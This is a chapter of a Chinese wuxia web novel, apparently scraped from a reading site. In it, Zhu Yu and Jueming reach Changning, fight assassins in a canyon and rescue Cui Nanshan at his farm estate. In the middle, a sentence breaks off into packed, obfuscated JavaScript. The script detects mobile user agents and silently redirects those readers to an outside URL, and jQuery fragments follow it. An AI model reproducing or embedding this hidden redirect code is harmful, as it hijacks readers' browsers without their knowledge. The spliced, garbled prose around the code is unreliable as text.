默认冷灰
24号文字
方正启体

41. 风雪加身

作者:扶阳明本书字数:K更新时间:
    猛烈的风雪笼罩着高耸险峻的浮玉山,萧持钧撑着一口气坐起来,这是一处猎户用来避风雪的山洞,里面堆着些枯枝干柴,还有只破罐子,几张兽皮。


    丹朔发生暴乱之后,他与萧恒江被人追杀,手底下的人被他派去护送萧恒江,他和带星一路南下,到了浮玉山,甩掉了追兵,但也被困在了山中。


    屋漏偏逢连夜雨,在山神庙过夜时,他与带星遭遇了狼群,搏斗中两人在山中失散,也不知道带星现下如何。


    萧持钧按了按被狼群咬伤的肩膀,天太冷,他右手的旧伤复发,使不上力气。他坐靠在山洞里的干草堆上,脑袋还有些昏沉。


    山洞里燃着火堆,噼里啪啦的响声混着洞外的风雪,让萧持钧想起方才那个梦。


    月明星稀的夜晚,他背着祝余走在田埂上,寂静的夜空下,有虫鸣和晚风,祝余趴在他背上没说话,双手搂住他的脖子,脸颊紧贴着他的颈侧,温温热热的。


    萧持钧下意识抬手摸了摸颈侧,梦中的触感还如有所觉,他不由得笑了下,舒了口气,右手隐隐作痛,他转了转手腕,盯着面前跳动的火光,若有所思。


    -


    到达长泞时已近黄昏,祝余牵着马,和决明一起往城中的医馆去,自那日在小镇听闻丹朔暴乱之事开始,她时不时有心口刺痛的毛病,这一路上兵荒马乱,也没处看,便一直拖到了今日,只是不巧,医馆已经关门了,二人便先找了家客栈歇息,预备明日先去医馆,然后便出发去崔南山避世之地。


    翌日清晨,雪停了。


    用过早饭,祝余先去了城东的医馆,进去时里边还没什么病人。她找了医馆坐堂的大夫看诊,是位年轻男子,替她诊了脉,又问她是否有伤在不便之处,祝余摇摇头,疑惑他为何这样问,他解释道:“今日师父不在,馆内没有其他女医师,若是姑娘有不便之处,不如往城西的医馆去,以免耽误了伤情。”


    见祝余面色不佳,他又问:“姑娘近来可是时有梦魇,睡得不安稳?”祝余点头,说:“是有些睡不好,夜里总会惊醒,还有些心悸之症。”


    大夫拧眉,又细细问了她是否有其他症状,祝余皆摇头,他便只给她开了安神药,有些为难地开口:“姑娘这症状有些古怪,不似寻常,在下不敢妄断,先替姑娘开几副安神药,我师父几日后便会回来,届时可由她替姑娘细细诊治。”


    祝余应下,拿了药,先回客栈。穿过街巷,就要到客栈门口时,只见两扇大门紧紧关着,早先她出门时还是敞开的,祝余顿住脚步,并未从巷子里出来。


    观察了一会儿,客栈门外迟迟没有动静,她拐了个弯,寻了一处院墙,翻上去,沿着墙檐上了客栈的房顶。


    正要往下看,耳边传来些动静,她回过神,便见到了决明。


    决明竖起手指,冲她“嘘”了一声,两人趴在房顶上往下看,客栈院子里有好些黑衣人,掌柜的被制住,哎哟哎哟地叫唤,楼上楼下都是来来回回仔细搜查的黑衣人。


    是地宫那群人的同伙,都已经到这儿来了。


    过了许久,像是没有找到想找的人,为首的将掌柜往地上一扔,抬手一挥,黑衣人便集体撤了出去。


    两人正要从房顶上下去,祝余身形突然一顿,将决明按住,抬眼盯着对面屋顶上的人——那儿蹲着一个探头探脑的白衣人。


    祝余与决明同时腾身而起,朝对面房顶掠去,决明的鞭子出手,将人一卷,两人落在屋顶上,那人被决明的鞭子缚住,动弹不得,祝余蹲下身去,打量着他。


    是个面色俊秀的年轻公子,看着不会武功的样子,警惕地看着她们:“你们是什么人?”


    想到方才客栈里鸡飞狗跳的搜查,祝余问他:“地下那群人,方才是在找你?”


    白衣男下意识点点头,而后又反应过来,“你问这个做什么?”他试图挣扎了下,未果,只好眼巴巴地看着祝余和决明,“两位姐姐行行好,我与你二人无冤无仇,何必如此凶神恶煞的。”


    一副天真纯良的模样,问也问不出个所以然,决明没了耐心,松了松鞭子,放他走。


    鞭子方松开,白衣男便泥鳅一般,纵身一跃,足尖轻点,轻巧地落在地面上。


    轻功竟然还不错。


    祝余和决明并未停留,下了地,去找客栈掌柜的打听崔南山的事。


    “崔家?”掌柜的惊诧到,上下打量她们几眼,恍然:“你们外地来的吧?”他摸了摸自己的胡须,笑道:“我们这最大的田庄就是崔家的,说是家中长辈在那儿养病,本地人都知道的。”


    他朝西边指了指,“往那边去,一直走到临近丹朔的地界,崔家的庄子就在那儿。”不等祝余回答,他又想起什么似的,“嘿,您二位也不必自个儿找上门去了,这段时日,崔家正在城中布施开义诊呢。”


    根据掌柜的指引,祝余和决明来到了崔家在城中义诊的医馆,门口的小厮将她们迎进去,医馆里闹哄哄的,都是来义诊问药的城中百姓。


    二人被领到一处被屏风隔开的小隔间,小厮去请医馆的主事。


    不多时,屏风外有脚步声传来,祝余回过身,来人在屏风外停住脚步,祝余和决明见状,自屏风后现身,来的是名青衣男子,腰间佩剑,气韵非凡。


    “不知二位姑娘寻我崔家管事有何贵干?”崔时延打量着屏风处的两人,目光从祝余的佩剑流转到决明腰间的鞭子,有些紧张地在决明的鞭子上停顿了下。


    祝余将地宫名册之事如实说出,“……我二人一路追查至此,事关崔公安危,还望公子尽快与家中联系。”


    见二人并无恶意,崔时延松了一口气,世道不安稳,这几日他在城中布施没少遇见找事的流民和匪徒,为了显出威势,他甚至还特地向家中护卫借了把剑,佩在腰间,如此一来,也不至于让人一眼便看穿他其实是个手无缚鸡之力的文弱男子。


    崔时延沉吟片刻,对祝余二人说:“那便有劳二位姑娘随我走一趟,等见了祖父,将此事详谈,也好早做打算。”


    原来是崔南山的孙辈。


    祝余颔首,与决明跟在崔时延的身后,他先去打点了医馆上下,而后带了一队人马一同返程,往崔家的田庄去。


    此时已近正午,天色不大好,隐隐又要下雪的模样。


    行至田庄附近的一处峡谷时,崔家的护卫突然勒紧缰绳,示意众人止步。前方是空荡荡的小路,上面覆着雪,祝余抬头扫视着两侧的崖壁,天色阴沉下来,有些看不清山上的形势。


    护卫们往前走去探路,见状,祝余轻轻策马上前,也跟了上去。


    风声大作,尚未穿过峡谷口,祝余的头顶便传来一阵撕心裂肺的喊叫声,她错愕地抬头往上看,有一人从天降,摔落下来,直朝着她而来。


    半空中没有借力之处,那人的双腿无措地蹬着,祝余当即运功起身,腾空而起,接住往下落的人,搂住他的腰身,往旁侧去飞去。


    “小弟——”


    “十三——”


    祝余只来得及听见两声疾呼,便和这人摔作一团——他人还怪仗义,坠落之际自己调转上下,做了人肉垫子,祝余被他接住,只微微擦破了点皮。


    崔时延和决明翻身下马,朝这边来,还未赶到,两侧的山上便飞身下来一群持刀的黑衣人,像是埋伏已久。


    崔家护卫围上去,与之缠斗。决明迅速往祝余这边靠,将她扶起,仔细看了看伤势,确认她没受什么伤这才去看那地上躺着的人。


    “是你?”决明皱起眉头,这不是今日房顶上那白衣男子么。


    崔时延将地上的小弟扶起来,闻言诧异道:“小弟,你们认识?”


    崔景元正疼得龇牙咧嘴,抽空点了点头,随即又“嗷呜”一声:“哥你扶着我伤口了……”他将身子偏了偏,捱过这阵疼意,这才看向祝余和决明,勉强笑道:“两位姐姐,又见面了。”


    随后又对崔时延说:“哥,咱们得赶快回去,我方才在上边看着他们有伙人往田庄去了。”说话间,有黑衣人往这边杀来,他吓得一缩。


    “他们是冲着崔公去的。”祝余上前将崔景元护至身后,拔出拒霜剑,对崔时延道:“还请崔公子护好小公子,这些人交给我们。”


    决明抽出鞭子,朝前掠去,祝余紧随其后,两人背靠背,搅乱黑衣人的阵型,在拥挤的人群中撕开一道口子,崔家护卫护着崔时延兄弟往外走。


    抵挡之间,有黑衣人突破重围,持刀朝崔家兄弟砍来,决明在混乱中回身,只见崔时延呆在原地,她皱起眉头,长鞭一挥,击退围上来的黑衣人,轻身落在崔时延身侧,横眉疑惑道:“崔公子,为何不拔剑?”


    崔时延回过神,还没喘过气来,磕磕绊绊地老实答话:“在下,那个,剑术不精……”说话间,决明身后有一黑衣人突然袭来,崔时延双眼一睁,话还没说完,不知哪里来的力气,陡然拔出剑,伸手将决明一拽,抓着剑胡乱砍上去,黑衣人沉重的刀锋震得他虎口发麻,当下便脱力,手心一松,佩剑就要坠地。


    动作间他踉跄着往后退了两步,决明反应过来,单手拢住他的腰身,将人往身后一护,又伸手捞住崔时延的佩剑,手腕翻转,挽了个漂亮的剑花,抬手持剑刺出,正中黑衣人心口,旋即她一脚踢出,将人踹飞。


    将身前阻碍一一清扫,决明这才回身去看崔时延,她微微喘着气,利落收剑,鞭子握在她手中,坠在一旁,崔时延愣愣地看着决明,好一会儿,没去接她递过来的剑,直到决明“嗯?”了一声,他这才面色涨红地伸手接剑,笨拙地收回剑鞘里。


    待将黑衣人收拾干净,祝余便驾着快马,领了几个护卫先行前往田庄,决明被留下来护送崔家兄弟。


    崔家的田庄依山而建,占地开阔,雪落下来,厚厚一层,盖在田地里,祝余在风雪中疾驰,隐约看见了田庄里的屋舍。


    崔南山住在田庄靠山的一处别院,他隐退后并未如传言中一般回崔氏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467849|169840||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    族中,而是择了长泞的这一处田庄,自此不问世事,每日品茶赏花,徜徉在山野之间,两眼只见田间事。


    沿着狭小的土路一直往上走,马匹便有些吃力,祝余勒紧缰绳,扬鞭抽打马腹,将护卫们甩在身后,风雪兜头而来,她微眯着眼睛,行至崔南山的别院门口,尚未下马便听到了刀剑声。


    她并未下马,借着马身的高度,纵身飞出,轻踏在别院外墙,借力往院中去,偌大的院子里被砍砸得一团乱,精心修剪过的盆栽花木被随意踢翻砍倒,祝余落在地上时,前方有几名黑衣人停住脚步,就要转过身来,下一瞬,祝余便已至眼前,拒霜剑冷冽的剑光闪过,黑衣人双目瞪圆,应声倒地。


    祝余挽着剑,进了内院,里边战况更为惨烈,七零八落倒着些小厮丫鬟的尸首,祝余环顾四周,正厅的桌椅歪倒在地,一行血迹淅淅沥沥往内间去,她放轻脚步,顺着血迹往里走。


    到了别院深处,里面的打斗声越来越大,门紧紧关着,祝余提剑上前,一脚踢开门,剧烈的声响引得里边正在与护卫缠斗的黑衣人回转过身。


    未等祝余出手,他们缓下动作,人群中有一人走出,祝余诧异地盯着他——又是斗笠,这人浑身装扮与叛逃那日她遭遇的斗笠客一模一样,祝余收紧握着拒霜剑的手,与他目光相接。


    身后是凛冽的风雪,身前是凶恶的刺客团伙,祝余带来的其他护卫姗姗来迟,方要迈过内院的门,便看见祝余背在身后的手朝他们打了个“停”的手势,于是众人便收回脚步,持刀静立在门口,并未入内。


    “你们是那个分部的?云州?”祝余看似漫不经心地发问。


    那斗笠客看了她一眼,目光幽深,“你是什么人?”


    见他有所反应,祝余心思一转,便道:“宵衣卫办案,旁人无需多问。”说完紧紧盯着斗笠客的脸色,后者闻言皱眉,并未立即驳斥她,而是犹豫了片刻,像是有所忌惮,又问她:“我怎么知道你是不是宵衣卫?”


    正中下怀。祝余从怀里掏出一枚令牌,在手上抛了抛,便缓缓提步上前,递给他,斗笠客接过,拿在手里熟练地打开了小夹层,仔细查看里面的木牌,用手摩挲了几下上面的“十三月”三个字,旋即又将令牌合上,递还给祝余。


    “十三月怎会来此?”斗笠客依旧有几分狐疑,祝余扫了他一眼,想了想,镇定道:“自然是来向崔公取一样东西。”


    “哦?”斗笠客像是有所意动,“那看来你我目的一致。”


    猜中了。崔南山此人避世已久,已多年不曾过问朝中之事,名册上有他或许并不是为了杀他,而是在找什么重要的东西。


    祝余不动声色地微微颔首,斗笠客见状,竟有些恭敬地抬手,要请祝余先行入内,祝余诧异地挑了挑眉,继续套话:“你们呢?为何闹出这样大的动静?”


    那斗笠客闻言竟然笑了笑,解释说:“我等隶属于宵衣卫云州分部,部系为青雀。没想到会在这儿遇见同僚。”


    又是青雀。祝余垂下眼,思索着,不管此人是不是真的隶属青雀,但看样子十三月叛逃的消息真的还没有传给青雀,她抬眼看着斗笠客,自然地搭话:“都是奉命办事,如此也好,我也不必再废力气。”斗笠客附和地点点头,祝余抬步往前走,作势要入内间,这斗笠客的实力不容小觑,那日她没讨到半点好处,今日若是想安然脱身,得先解决了他。


    斗笠客跟在她身后,前方黑衣人还在和护卫们打斗着,他身边只跟着几个下属,祝余用余光看了看斗笠客,见他并未起疑,便停下脚步,示意他近前来。斗笠客向前靠了靠,附耳过来。


    袖中短刀滑落,祝余面上神色不变,凑近了,与他轻声说:“你不知道十三月已经从宵衣卫叛变了吗?”斗笠客浑身一僵,震惊地看着她。


    不等他说什么,祝余勾了勾唇角,一抬手,短刀刺入他前胸,她手下一用力,狠狠下压,变故陡生,斗笠客尚未来得及反应过来,就已经说不出话来,鲜血顺着刀柄往下流,祝余收回手,持剑与围上来的黑衣人对峙。


    门外的护卫们自后方涌入,祝余挽剑便往前去,有黑衣人上前阻拦,她轻巧躲过,一剑挑开,飞身进了内间。


    后院的一处柴房外,崔家的护卫正在与黑衣人纠缠,祝余提剑上前相助,雪越下越大,后院的地上积了厚厚一层雪,上面滴落着各色血迹。没有了斗笠客坐镇,剩下的黑衣人便如一团散沙,拒霜剑在其间游走,便如鱼得水,纵横之间轻轻制住凶猛的刀锋,剑光忽闪,映照着雪光,翻腾飞舞间凌厉又炫目。


    等黑衣人已近颓势,祝余便收剑,打开了柴房门,里面还有个小隔间,她提剑入内,方进门,便看见有人坐在椅子上,身侧是两名挺拔高大的护卫。


    崔南山。两鬓已花白,如今这样的形势下,他端坐着,执了杯盏,在喝茶。


    祝余的心重新回落,还好赶上了,她收了剑,缓缓上前,行了个江湖礼,抱拳道:“崔公受惊了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)